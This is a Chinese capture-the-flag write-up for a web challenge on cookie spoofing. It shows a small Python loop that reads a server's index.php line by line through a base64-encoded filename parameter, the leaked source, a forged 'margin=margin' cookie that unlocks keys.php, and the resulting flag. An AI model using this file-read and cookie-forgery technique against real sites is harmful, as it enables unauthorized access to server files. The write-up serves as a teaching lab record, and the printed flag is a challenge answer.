Web-20-cookies欺骗
一、尝试
提交flag的时候又忘记截图了,直接描述一下吧。
给出的网站进入后是一串不知道什么东西的代码,也不像什么加密,直接使用,但是网站进入后网址后面出现了一串编码,base64解密。
发现是读取的keys.txt里面的内容,改变line的值为1或0均相同,改变为2时无内容出现,说明无第二行内容。
直接尝试读取index.php里的内容
与keys.txt相同,把filename改为index.php,同样base64加密。
读取第一行内容:
第二行内容:
二、脚本
这样手工的确能得到界面的代码,但是为何不写一个非常简单的脚本来实现呢。
脚本:
import requests
s = ''
for i in range(0,100): #反正不知道到底有多少行,就往大了的加
url = 'http://114.67.246.176:15089/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
s = requests.get(url)
print (s.content) #输出每行数据
输出结果为:
b'<?php\r\n'
b'error_reporting(0);\r\n'
b'$file=base64_decode(isset($_GET[\'filename\'])?$_GET[\'filename\']:"");\r\n'
b"$line=isset($_GET['line'])?intval($_GET['line']):0;\r\n"
b'if($file==\'\') header("location:index.php?line=&filename=a2V5cy50eHQ=");\r\n'
b'$file_list = array(\r\n'
b"'0' =>'keys.txt',\r\n"
b"'1' =>'index.php',\r\n"
b');\r\n'
b' \r\n'
b"if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){\r\n"
b"$file_list[2]='keys.php';\r\n"
b'}\r\n'
b' \r\n'
b'if(in_array($file, $file_list)){\r\n'
b'$fa = file($file);\r\n'
b'echo $fa[$line];\r\n'
b'}\r\n'
b'?>\r\n'

没有除去每一行的后缀,而且就差不多20行代码,手工也不是需要很久,反正结果出来就行。
这个index.php里面的关键代码就两行:
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';}
这两行代码说明了flag的得到方法,在keys.php里面,而且当cookie值为margin=margin,才能进入访问这个php文件。
直接burp构造报文
记得将filename后面的值base64加密,访问keys.php文件。
得到flag为:
flag{6a135934587901c7dc8e0703e2f1990c}
版权声明:本文为weixin_47387913原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。